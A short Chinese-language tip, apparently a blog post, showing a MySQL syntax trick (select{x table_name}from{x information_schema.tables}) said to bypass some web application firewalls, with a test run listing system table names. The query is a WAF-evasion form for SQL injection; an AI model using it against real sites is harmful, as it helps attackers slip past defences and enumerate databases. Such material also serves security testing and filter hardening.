mysql 语法绕过一些WAF
一个小tips,twitter上看见的:一句话:
select{x table_name}from{x information_schema.tables}
测试:
mysql> select{x table_name}from{x information_schema.tables};
+----------------------------------------------------+
| table_name |
+----------------------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
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